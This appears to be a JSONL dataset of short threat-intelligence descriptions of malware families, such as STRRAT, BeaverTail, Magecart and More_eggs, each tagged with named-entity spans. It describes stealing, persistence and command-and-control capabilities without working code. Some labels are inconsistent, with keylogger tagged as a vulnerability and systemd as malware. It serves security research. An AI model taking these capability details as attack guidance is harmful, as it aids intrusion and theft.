+{"text": "According to Karsten Hahn, this malware is actually written in JPHP, but can be treated similar to .class files produced by Java. IceRat has been observed to carry out information stealing and mining.", "spans": {"MALWARE: IceRat": [[130, 136]], "SYSTEM: Java": [[124, 128]]}, "info": {"source": "apt_reports", "name": "IceRat"}}
+{"text": "JavaDispCash is a piece of malware designed for ATMs. The compromise happens by using the JVM attach-API on the ATM's local application and the goal is to remotely control its operation. The malware's primary feature is the ability to dispense cash. The malware also spawns a local port (65413) listening for commands from the attacker which needs to be located in the same internal network.", "spans": {"MALWARE: JavaDispCash": [[0, 12]]}, "info": {"source": "apt_reports", "name": "JavaDispCash"}}
+{"text": "jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.", "spans": {"DOMAIN: jrat.io": [[325, 332]], "MALWARE: jRAT": [[0, 4], [279, 283]], "MALWARE: Jacksbot": [[20, 28]], "SYSTEM: Java": [[64, 68]], "SYSTEM: macOS": [[89, 94]], "SYSTEM: Windows": [[103, 110]], "SYSTEM: Linux": [[96, 101]], "VULNERABILITY: DDoS": [[172, 176]]}, "info": {"source": "apt_reports", "name": "jRAT"}}
+{"text": "DDoS for Minecraft servers.", "spans": {"VULNERABILITY: DDoS": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Mineping"}}
+{"text": "According to TrustWave, this is a loader leveraging JPHP, which was observed fetching Latrodectus and Lumma.", "spans": {"MALWARE: Latrodectus": [[86, 97]]}, "info": {"source": "apt_reports", "name": "Pronsis Loader"}}
+{"text": "According to SpiderLabs, in May 2015 the \"company\" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).", "spans": {"DOMAIN: qarallax.com": [[217, 229]], "MALWARE: Qarallax RAT": [[182, 194], [374, 386]], "SYSTEM: Java": [[273, 277]], "MALWARE: Quaverse RAT": [[83, 95]]}, "info": {"source": "apt_reports", "name": "Qarallax RAT"}}
+{"text": "QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax.", "spans": {"MALWARE: QRat": [[0, 4]], "MALWARE: Quaverse RAT": [[20, 32]], "VULNERABILITY: keylogger": [[188, 197]]}, "info": {"source": "apt_reports", "name": "QRat"}}
+{"text": "Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.", "spans": {"MALWARE: Ratty": [[0, 5]], "SYSTEM: Java": [[24, 28]], "SYSTEM: GitHub": [[52, 58]]}, "info": {"source": "apt_reports", "name": "Ratty"}}
+{"text": "According to Mandiant, SLAYSTYLE is a webshell written in Java.", "spans": {"MALWARE: SLAYSTYLE": [[23, 32]], "SYSTEM: Java": [[58, 62]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SLAYSTYLE"}}
+{"text": "Sorillus is a Java-based multifunctional remote access trojan (RAT) that targets Linux, macOS, and Windows operating systems. First created in 2019, the tool gained significant attention in 2022 when various obfuscated client versions began appearing on VirusTotal starting January 18, 2022. The RAT's features were detailed on its now-defunct website (hxxps://sorillus[.]com), where it was marketed for lifetime access at 59.99€, with a discounted price of 19.99€ at the time. Payments were conveniently accepted via various cryptocurrencies.\r\n\r\nThe creator and distributor of Sorillus, a YouTube user known as \"Tapt,\" claimed the tool could collect sensitive information from infected systems, including:\r\n\r\n    HardwareID\r\n\r\n    Username\r\n\r\n    Country\r\n\r\n    Language\r\n\r\n    Webcam footage\r\n\r\n    Headless status\r\n\r\n    Operating system details\r\n\r\n    Client version\r\n\r\nHowever, Sorillus was shut down in 2025 following the FBI's Operation \"Talent,\" which targeted alot of the Cracking infrastucture which included Sellix, the payment portal used by Sorillus for transactions. This operation disrupted the financial infrastructure supporting the RAT, leading to its cessation of operations 5 days later.", "spans": {"SYSTEM: Java": [[14, 18]], "SYSTEM: macOS": [[88, 93]], "SYSTEM: Windows": [[99, 106]], "SYSTEM: Linux": [[81, 86]], "ORGANIZATION: FBI": [[928, 931]], "ORGANIZATION: VirusTotal": [[254, 264]]}, "info": {"source": "apt_reports", "name": "Sorillus RAT"}}
+{"text": "STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.\r\n\r\nSince Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.", "spans": {"MALWARE: STRRAT": [[0, 6], [437, 443], [780, 786]], "TOOL: PowerShell": [[723, 733]], "SYSTEM: Java": [[12, 16]], "SYSTEM: Chrome": [[366, 372]], "SYSTEM: Firefox": [[338, 345]], "SYSTEM: Thunderbird": [[392, 403]], "SYSTEM: Internet Explorer": [[347, 364]], "SYSTEM: Outlook": [[383, 390]], "VULNERABILITY: keylogging": [[272, 282]]}, "info": {"source": "apt_reports", "name": "STRRAT"}}
+{"text": "This malware seems to be used for attacks installing cryptocurrency miners on infected machines. Other indicators leads to the assumption that attackers may also use this malware for other purposes (e.g. stealing access tokens for Discord chat app). Symantec describes this malware as complex and powerful: The malware is loaded as a server-side polymorphic JAR file.", "spans": {"SYSTEM: Symantec": [[250, 258]], "SYSTEM: Discord": [[231, 238]]}, "info": {"source": "apt_reports", "name": "Verblecon"}}
+{"text": "According to Lumen, a web shell used by Volt Typhoon.", "spans": {"THREAT_ACTOR: Volt Typhoon": [[40, 52]]}, "info": {"source": "apt_reports", "name": "VersaMem"}}
+{"text": "AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.", "spans": {"MALWARE: AIRBREAK": [[0, 8]]}, "info": {"source": "apt_reports", "name": "AIRBREAK"}}
+{"text": "BeaverTail is a JavaScript malware primarily distributed through NPM packages. It is designed for information theft and to load further stages of malware, specifically a multi-stage Python-based backdoor known as InvisibleFerret. BeaverTail targets cryptocurrency wallets and credit card information stored in the victim's web browsers. Its code is heavily obfuscated to evade detection. Threat actors can either upload malicious NPM packages containing BeaverTail to GitHub or inject BeaverTail code into legitimate NPM projects. Researchers have identified additional Windows and macOS variants, indicating that the BeaverTail malware family is likely still under development.", "spans": {"MALWARE: BeaverTail": [[0, 10], [230, 240], [454, 464], [485, 495], [618, 628]], "SYSTEM: macOS": [[582, 587]], "SYSTEM: GitHub": [[468, 474]], "SYSTEM: Windows": [[570, 577]], "SYSTEM: Python": [[182, 188]], "MALWARE: InvisibleFerret": [[213, 228]]}, "info": {"source": "apt_reports", "name": "BeaverTail"}}
+{"text": "• BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n• Creating a Run key in the Registry\r\n• Creating a RunOnce key in the Registry\r\n• Creating a persistent named scheduled task\r\n• BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.", "spans": {"MALWARE: BELLHOP": [[2, 9], [154, 161], [392, 399]], "SYSTEM: Windows": [[64, 71]], "ORGANIZATION: Google": [[470, 476]]}, "info": {"source": "apt_reports", "name": "BELLHOP"}}
+{"text": "According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.", "spans": {"MALWARE: CACTUSTORCH": [[30, 41]], "SYSTEM: GitHub": [[17, 23]]}, "info": {"source": "apt_reports", "name": "CACTUSTORCH"}}
+{"text": "GoSecure describes ChromeBack as a browser hijacker, redirecting traffic and serving advertisements to users.", "spans": {"MALWARE: ChromeBack": [[19, 29]]}, "info": {"source": "apt_reports", "name": "ChromeBack"}}
+{"text": "ClearFake is a malicious JavaScript framework deployed on compromised websites to deliver further malware using the drive-by download technique. The malware leverages social engineering to trick the user into running a fake web browser update.", "spans": {"MALWARE: ClearFake": [[0, 9]], "VULNERABILITY: drive-by download": [[116, 133]]}, "info": {"source": "apt_reports", "name": "ClearFake"}}
+{"text": "According to SentinelOne, these applications, typically implemented in app.js files, are deployed on ClickFix malware distribution servers. These applications run servers that listen on configured ports to handle incoming HTTP GET and POST requests, executing different functions based on the specific request path.\r\nThe ContagiousDrop applications deliver malware disguised as software updates or essential utilities. They distribute a tailored payload based on the victim’s operating system (Windows, macOS, or Linux), system architecture, and method of interaction with the server, such as the use of the curl command.\r\nIn addition to delivering malware, the ContagiousDrop applications feature an integrated email notification system. These notifications, sent from a configured email address, provide the Contagious Interview threat actors with insights into victim engagement and interaction patterns and are delivered to their configured recipient addresses.", "spans": {"MALWARE: ContagiousDrop": [[321, 335], [662, 676]], "THREAT_ACTOR: Contagious Interview": [[810, 830]], "TOOL: curl": [[608, 612]], "SYSTEM: macOS": [[503, 508]], "SYSTEM: Windows": [[494, 501]], "SYSTEM: SentinelOne": [[13, 24]], "SYSTEM: Linux": [[513, 518]]}, "info": {"source": "apt_reports", "name": "ContagiousDrop"}}
+{"text": "WebAssembly-based crpyto miner.", "spans": {}, "info": {"source": "apt_reports", "name": "CryptoNight"}}
+{"text": "Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA for C&C.", "spans": {"VULNERABILITY: keylogger": [[92, 101]]}, "info": {"source": "apt_reports", "name": "DarkWatchman"}}
+{"text": "Open sourced javascript info stealer, with the capabilities of stealing crypto wallets, password, cookies and modify discord clients https://github.com/doener2323/doenerium", "spans": {"URL: https://github.com/doener2323/doenerium": [[133, 172]], "MALWARE: doenerium": [[163, 172]]}, "info": {"source": "apt_reports", "name": "doenerium"}}
+{"text": "According to sysdig, EtherRAT uses Ethereum smart contracts for C2 URL resolution. It establishes persistence through five independent mechanisms, ensuring survival across reboots and system maintenance (systemd, xdg, cron, bashrc, profile).", "spans": {"MALWARE: EtherRAT": [[21, 29]], "MALWARE: systemd": [[204, 211]]}, "info": {"source": "apt_reports", "name": "EtherRAT"}}
+{"text": "According proofpoint, EvilNum is a backdoor that can be used for data theft or to load additional payloads. The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software.", "spans": {"MALWARE: EvilNum": [[22, 29]]}, "info": {"source": "apt_reports", "name": "EVILNUM"}}
+{"text": "FakeUpdateRU is a malicious JavaScript code injected into compromised websites to deliver further malware using the drive-by download technique. The malicious code displays a copy of the Google Chrome web browser download page and redirects the user to the download of a next-stage payload.", "spans": {"MALWARE: FakeUpdateRU": [[0, 12]], "SYSTEM: Chrome": [[194, 200]], "ORGANIZATION: Google": [[187, 193]], "VULNERABILITY: drive-by download": [[116, 133]]}, "info": {"source": "apt_reports", "name": "FakeUpdateRU"}}
+{"text": "FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT.\r\n\r\nFAKEUPDATES has been heavily used by UNC1543, a financially motivated group.", "spans": {"MALWARE: FAKEUPDATES": [[0, 11], [194, 205], [345, 356]]}, "info": {"source": "apt_reports", "name": "FAKEUPDATES"}}
+{"text": "According to Google, GHOSTBLADE is delivered via the DarkSword exploit chain. GHOSTBLADE is a dataminer written in JavaScript that collects and exfiltrates a wide variety of data from a compromised device. Data collected by GHOSTBLADE is exfiltrated to an attacker-controlled server over HTTP(S). Unlike GHOSTKNIFE and GHOSTSABER, GHOSTBLADE is less capable and does not support any additional modules or backdoor-like functionality; it also does not operate continuously. However, similar to GHOSTKNIFE, GHOSTBLADE also contains code to delete crash reports, but targets a different directory where they may be stored.", "spans": {"MALWARE: GHOSTBLADE": [[21, 31], [78, 88], [224, 234], [331, 341], [505, 515]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "GHOSTBLADE"}}
+{"text": "According to Koi Security, this malware harvests NPM, GitHub, and Git credentials for supply chain propagation. It targets 49 different cryptocurrency wallet extensions to drain funds. It uses stolen credentials to compromise additional packages and extensions, spreading the worm further. Furthermore, it deploys SOCKS proxy servers, turning developer machines into criminal infrastructure and installs hidden VNC servers for complete remote access.", "spans": {"TOOL: VNC": [[411, 414]], "SYSTEM: GitHub": [[54, 60]], "SYSTEM: Git": [[66, 69]]}, "info": {"source": "apt_reports", "name": "GlassWorm"}}
+{"text": "According to PCrisk, they discovered GootLoader malware while examining legitimate but compromised websites (mainly websites managed using WordPress). It was found that GootLoader is used to infect computers with additional malware. Cybercriminals using GootLoader seek to trick users into unknowingly downloading and executing the malware by disguising it as a document or other file.", "spans": {"MALWARE: GootLoader": [[37, 47], [169, 179], [254, 264]], "SYSTEM: WordPress": [[139, 148]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "GootLoader"}}
+{"text": "grelos is a skimmer used for magecart-style attacks.", "spans": {"MALWARE: grelos": [[0, 6]], "MALWARE: magecart": [[29, 37]]}, "info": {"source": "apt_reports", "name": "grelos"}}
+{"text": "GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.", "spans": {"MALWARE: GRIFFON": [[0, 7], [233, 240]]}, "info": {"source": "apt_reports", "name": "Griffon"}}
+{"text": "IClickFix is a malicious JavaScript framework deployed on compromised WordPress sites to deliver further malware using the ClickFix social engineering tactic and fake Cloudflare Turnstile CAPTCHA challenge.", "spans": {"MALWARE: IClickFix": [[0, 9]], "SYSTEM: WordPress": [[70, 79]], "ORGANIZATION: Cloudflare": [[167, 177]]}, "info": {"source": "apt_reports", "name": "IClickFix"}}
+{"text": "JADESNOW is a JavaScript-based downloader malware family associated with the threat cluster UNC5342. JADESNOW utilizes EtherHiding to fetch, decrypt, and execute malicious payloads from smart contracts on the BNB Smart Chain and Ethereum. The input data stored in the smart contract may be Base64-encoded and XOR-encrypted. The final payload in the JADESNOW infection chain is usually a more persistent backdoor like INVISIBLEFERRET.JAVASCRIPT.", "spans": {"MALWARE: JADESNOW": [[0, 8], [101, 109], [349, 357]], "THREAT_ACTOR: UNC5342": [[92, 99]]}, "info": {"source": "apt_reports", "name": "JADESNOW"}}
+{"text": "Kongtuke is a sophisticated TDS system that was initially discovered around May 2024. Making use of compromised CMS Websites, Kongtuke redirects website visitors through a multi-stage infection process ultimately leading to device infection. Initially using fake Update lures, it started to use FakeCaptcha lures at the beginning of 2025. It is likely an initial access service, selling infections to both Ransomware affiliates and other IA vendors like SocGholish.", "spans": {"MALWARE: Kongtuke": [[0, 8], [126, 134]], "MALWARE: SocGholish": [[454, 464]]}, "info": {"source": "apt_reports", "name": "KongTuke"}}
+{"text": "The LNKR trojan is a malicious browser extension that will monitor the websites visited by the user, looking for pages with administrative privileges such as blog sites or web-based virtual learning environments. When the administrative user posts to the page, the infected extension will execute stored cross-site scripting attack and injects malicious JavaScript into the legitimate HTML of the page. This is used to redirect the second-party visitors of the site to both benign and malicious domains.", "spans": {"MALWARE: LNKR": [[4, 8]], "VULNERABILITY: cross-site scripting": [[304, 324]]}, "info": {"source": "apt_reports", "name": "LNKR"}}
+{"text": "Magecart is a malware framework intended to steal credit card information from compromised eCommerce websites. Used in criminal activities, it's a sophisticated implant built on top of relays, command and controls and anonymizers used to steal eCommerce customers' credit card information. The first stage is typically implemented in Javascript included into a compromised checkout page. It copies data from \"input fields\" and send them to a relay which collects credit cards coming from a subset of compromised eCommerces and forwards them to Command and Control servers.", "spans": {"MALWARE: Magecart": [[0, 8]]}, "info": {"source": "apt_reports", "name": "magecart"}}
+{"text": "MegaMedusa is NodeJS DDoS Machine Layer-7 provided by RipperSec Team.", "spans": {"MALWARE: MegaMedusa": [[0, 10]], "THREAT_ACTOR: RipperSec": [[54, 63]], "VULNERABILITY: DDoS": [[21, 25]]}, "info": {"source": "apt_reports", "name": "megaMedusa"}}
+{"text": "MiniJS is a very simple JavaScript-based first-stage backdoor. \r\nThe backdoor is probably distributed via spearphishing email. \r\nDue to infrastructure overlap, the malware can be attributed to the actor Turla. Comparable JavaScript-based backdoor families of the actor are KopiLuwak and IcedCoffee.", "spans": {"MALWARE: MiniJS": [[0, 6]], "THREAT_ACTOR: Turla": [[203, 208]], "VULNERABILITY: spearphishing": [[106, 119]]}, "info": {"source": "apt_reports", "name": "MiniJS"}}
+{"text": "According to Orange Cyberdefense, MintsLoader is a little-known, multi-stage malware loader that has been used since at least February 2023. It has been observed in widespread distribution campaigns between July and October 2024. The name comes from a very characteristic use of an URL parameter “1.php?s=mintsXX\" (with XX being numbers).\r\n\r\nMintsLoader primarily delivers malicious RAT or infostealing payloads such as AsyncRAT and Vidar through phishing emails, targeting organizations in Europe (Spain, Italy, Poland, etc.). Written in JavaScript and PowerShell, MintsLoader operates through a multi-step infection process involving several URLs and domains, most of which use a domain generation algorithm (DGA) with .top TLD.", "spans": {"MALWARE: MintsLoader": [[34, 45], [342, 353], [566, 577]], "TOOL: PowerShell": [[554, 564]], "TOOL: AsyncRAT": [[420, 428]], "VULNERABILITY: phishing": [[447, 455]], "MALWARE: Vidar": [[433, 438]]}, "info": {"source": "apt_reports", "name": "MintsLoader"}}
+{"text": "More_eggs is a JavaScript backdoor used by the Cobalt group.  It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are:\r\n- d&exec = download and execute PE file\r\n- gtfo = delete files/startup entries and terminate\r\n- more_eggs = download additional/new scripts\r\n- more_onion = run new script and terminate current script\r\n- more_power = run command shell commands", "spans": {"MALWARE: More_eggs": [[0, 9]], "THREAT_ACTOR: Cobalt": [[47, 53]]}, "info": {"source": "apt_reports", "name": "More_eggs"}}
+{"text": "NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.", "spans": {"MALWARE: NanHaiShu": [[0, 9], [74, 83]], "THREAT_ACTOR: Leviathan": [[63, 72]]}, "info": {"source": "apt_reports", "name": "NanHaiShu"}}
+{"text": "NodeCordRAT is a cross-platform Remote Access Trojan and information stealer written in Node.js that targets Windows, macOS, and Linux systems through malicious NPM packages in software supply chain attacks. The malware executes automatically when developers unknowingly install compromised dependencies, providing attackers with comprehensive system access and data\r\nexfiltration capabilities. Its core functions include remote code execution through shell access, credential theft from Google Chrome and MetaMask wallets, extraction of developer secrets from .env files, live screen capture, complete file system navigation and exfiltration, and system information gathering for victim profiling. NodeCordRAT achieves persistence through process managers like\r\npm2 that maintain the malware as a background service, while its command-and-control communications leverage the Discord API over HTTPS with hardcoded bot tokens, allowing malicious traffic to masquerade as legitimate web activity and enabling attackers to receive stolen data and issue commands through private Discord channels.", "spans": {"MALWARE: NodeCordRAT": [[0, 11], [699, 710]], "SYSTEM: macOS": [[118, 123]], "SYSTEM: Chrome": [[495, 501]], "SYSTEM: Windows": [[109, 116]], "SYSTEM: Linux": [[129, 134]], "SYSTEM: Node.js": [[88, 95]], "SYSTEM: Discord": [[876, 883], [1075, 1082]], "ORGANIZATION: Google": [[488, 494]], "VULNERABILITY: credential theft": [[466, 482]], "VULNERABILITY: code execution": [[429, 443]], "VULNERABILITY: screen capture": [[578, 592]], "VULNERABILITY: remote code execution": [[422, 443]]}, "info": {"source": "apt_reports", "name": "NodeCordRAT"}}
+{"text": "According to the author, this is a project that will give understanding of bypassing Multi Factor Authentication (MFA) of an outlook account. It is build in node.js and uses playwright for the automation in the backend.", "spans": {}, "info": {"source": "apt_reports", "name": "OFFODE"}}
+{"text": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor’s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.", "spans": {"MALWARE: Ostap": [[0, 5], [195, 200], [711, 716]], "TOOL: Wireshark": [[636, 645]], "SYSTEM: WMI": [[207, 210]], "SYSTEM: Microsoft Office": [[148, 164]], "ORGANIZATION: Microsoft": [[148, 157]], "MALWARE: TrickBot": [[801, 809]], "MALWARE: Nymaim": [[780, 786]]}, "info": {"source": "apt_reports", "name": "ostap"}}
+{"text": "OtterCandy is a JavaScript backdoor that uses the Socket.IO WebSocket protocol over port 5000 for command and control and exfiltrates data via HTTP on port 3011. It focuses on credential \r\ntheft from Chromium-based browsers (Chrome, Edge, Brave, Opera, Yandex) by decrypting SQLite login databases with Windows DPAPI, and it targets cryptocurrency wallets through both browser \r\nextension identification and desktop wallet directory collection. The malware conducts recursive filesystem searches to gather .env files, seed phrases, blockchain configuration data, shell history, and cloud credentials for AWS, Azure, and GCP. It fingerprints victims by combining hostname and machine UUID to prevent duplicate records and includes a secondary payload system that downloads, prepares, and executes platform-specific follow-on malware.", "spans": {"MALWARE: OtterCandy": [[0, 10]], "SYSTEM: Edge": [[233, 237]], "SYSTEM: Chrome": [[225, 231]], "SYSTEM: Brave": [[239, 244]], "SYSTEM: SQLite": [[275, 281]], "SYSTEM: Windows": [[303, 310]], "SYSTEM: GCP": [[620, 623]], "SYSTEM: AWS": [[604, 607]], "SYSTEM: Azure": [[609, 614]], "SYSTEM: Opera": [[246, 251]]}, "info": {"source": "apt_reports", "name": "OtterCandy"}}
+{"text": "This malicious code written in JavaScript is used as Traffic Direction System (TDS). This TDS showes similarities to the Prometheus TDS. According to DECODED Avast.io this TDS has been active since October 2021.", "spans": {"DOMAIN: Avast.io": [[158, 166]], "SYSTEM: Avast": [[158, 163]], "MALWARE: Prometheus": [[121, 131]]}, "info": {"source": "apt_reports", "name": "Parrot TDS"}}
+{"text": "PeaceNotWar was integrated into the nodejs module node-ipc as a piece of malware/protestware with wiper characteristics. It targets machines with a public IP address located in Russia and Belarus (using geolocation) and overwrites files recursively using a heart emoji.", "spans": {"MALWARE: PeaceNotWar": [[0, 11]]}, "info": {"source": "apt_reports", "name": "PeaceNotWar"}}
+{"text": "According to Trend Micro, PeckBirdy is a script-based framework which, while possessing advanced capabilities, is implemented using JScript, an old script language. This is to ensure that the framework could be launched across different execution environments via LOLBins (Living off the land binaries). This flexibility allowed to use PeckBirdy in various kill chain stages, including being used as a watering-hole control server during the initial attack phase, as a reverse shell server during the lateral movement phase, and as a C&C server during the backdoor phase.", "spans": {"MALWARE: PeckBirdy": [[26, 35], [336, 345]], "TOOL: LOLBins": [[264, 271]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "PeckBirdy"}}
+{"text": "According to Trend Micro, this is a Node.js based malware, that can download/upload/execute files, steal credentials from Chrome/Firefox browsers, and perform file management, among other things. It targets Windows and has components for both 32 and 64bit.", "spans": {"SYSTEM: Chrome": [[122, 128]], "SYSTEM: Firefox": [[129, 136]], "SYSTEM: Windows": [[207, 214]], "SYSTEM: Trend Micro": [[13, 24]], "SYSTEM: Node.js": [[36, 43]]}, "info": {"source": "apt_reports", "name": "QNodeService"}}
+{"text": "QUICKCAFE is an encrypted JavaScript downloader for QUICKRIDE.POWER that exploits the ActiveX M2Soft vulnerabilities. QUICKCAFE is obfuscated using JavaScript Obfuscator.", "spans": {"MALWARE: QUICKCAFE": [[0, 9], [118, 127]], "MALWARE: QUICKRIDE.POWER": [[52, 67]], "MALWARE: QUICKRIDE": [[52, 61]]}, "info": {"source": "apt_reports", "name": "QUICKCAFE"}}
+{"text": "Active around 2012-2013, this family deployed small JavaScript snippets on infected websites to load exploit kit scripts from DGA-generated domains.\r\nIt commonly used the Blackhole exploit kit and the Sutra Traffic Distribution System (TDS), which caused it to sometimes be misnamed as Blackhole or Sutra.", "spans": {"MALWARE: Blackhole": [[171, 180], [286, 295]], "MALWARE: Sutra": [[201, 206], [299, 304]]}, "info": {"source": "apt_reports", "name": "RunForestRun"}}
+{"text": "According to StepSecurity, this is a stealer deployed through a compromised Nx package, targeting system environment properties, cryptocurrency wallets, and development credentials. Data is exfiltrated to Github using stolen tokens.", "spans": {}, "info": {"source": "apt_reports", "name": "s1ngularity Stealer"}}
+{"text": "A Javascript-based worm propagating through GitHub repositories and exfiltrating tokens and other credentials.", "spans": {"SYSTEM: GitHub": [[44, 50]]}, "info": {"source": "apt_reports", "name": "Shai-Hulud"}}
+{"text": "According to Proofpoint, this is a cluster of fake update campaigns delivering payloads like NetSupportManager RAT and Lumma Stealer.", "spans": {"ORGANIZATION: Proofpoint": [[13, 23]], "MALWARE: Lumma Stealer": [[119, 132]], "MALWARE: NetSupportManager RAT": [[93, 114]]}, "info": {"source": "apt_reports", "name": "SmartApeSG"}}
+{"text": "According to ESET, SpyPress is a set of Javascript payloads targeting different webmail frameworks (HORDE, MDAEMON, ROUNDCUBE, ZIMBRA). The observed payloads have common characteristics. All are similarly obfuscated, with variable and function names replaced with random-looking strings. Furthermore, strings used by the code, such as webmail and C&C server URLs, are also obfuscated and contained in an encrypted list. Each of those strings is only decrypted when it is used. Note that the variable and function names are randomized for each sample, so the final SpyPress payloads will have different hashes. Another common characteristic is that there are no persistence or update mechanisms. The payload is fully contained in the email and only executed when the email message is viewed from a vulnerable webmail instance.\r\n\r\nFinally, all payloads communicate with their hardcoded C&C servers via HTTP POST requests. There is a small number of C&C servers that are shared by all payloads (there is no separation by victim or payload type).", "spans": {"MALWARE: SpyPress": [[19, 27], [564, 572]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "SpyPress"}}
+{"text": "SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger.  Once a user has double-clicked the embedded image, the form executes a VB setup script.  The script writes files to the path %appdata%\\Roaming\\Microsoft\\Templates\\, then creates two task entries triggered to run daily.  The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot.  The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters.  After deobfuscating the file, the main JavaScript is easily recognizable.  It contains a number of functions designed to drop files and execute scripts on a host system.  The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.", "spans": {"FILEPATH: %appdata%\\Roaming\\Microsoft\\Templates\\,": [[232, 271]], "MALWARE: SQLRat": [[0, 6], [709, 715]], "ORGANIZATION: Microsoft": [[250, 259], [772, 781]]}, "info": {"source": "apt_reports", "name": "SQLRat"}}
+{"text": "According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.", "spans": {"TOOL: Empire": [[52, 58]], "TOOL: powershell": [[100, 110], [145, 155]]}, "info": {"source": "apt_reports", "name": "Starfighter"}}
+{"text": "According to IBM X-Force, this is a simple reverse shell. Upon execution, the script generates a unique victim ID by combining the machine's product ID and computer name. It queries a hardcoded server and executes optional commands directly via cmd.exe. Command output is send back using a POST request after completion or a timeout.", "spans": {"TOOL: cmd.exe": [[245, 252]], "TOOL: cmd": [[245, 248]], "ORGANIZATION: IBM X-Force": [[13, 24]], "ORGANIZATION: X-Force": [[17, 24]], "ORGANIZATION: IBM": [[13, 16]]}, "info": {"source": "apt_reports", "name": "StarFish"}}
+{"text": "StoatWaffle Malware is a lightweight JavaScript-based backdoor trojan active since at least October 2025 that enables persistent, stealthy remote control over infected systems by continuously beaconing to a command-and-control server approximately every 5 seconds. The First-Stage Module performs host fingerprinting — collecting hostname, MAC address, operating system details, and the complete Node.js process environment (process.env), which frequently contains cloud credentials, API keys, and CI/CD secrets — and executes attacker-supplied payloads via eval(). The Second-Stage Module additionally collects the victim's public IP address, spawns attacker-supplied payloads as isolated detached child processes using the local Node.js runtime, and supports process ID tracking, remote agent UUID and session token updates, and an operator-controlled kill-switch that terminates all tracked child processes and self-exits on command. Both modules suppress SIGHUP signals and hide spawned process windows to reduce visibility, report errors to the C2 server via a dedicated telemetry endpoint, and together allow attackers to steal secrets, deliver additional payloads, execute arbitrary commands, and maintain ongoing process-level control with the privileges of the compromised user.", "spans": {"MALWARE: StoatWaffle": [[0, 11]], "SYSTEM: Node.js": [[396, 403], [731, 738]]}, "info": {"source": "apt_reports", "name": "StoatWaffle"}}
+{"text": "Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.", "spans": {"MALWARE: maintools.js": [[52, 64]]}, "info": {"source": "apt_reports", "name": "Maintools.js"}}
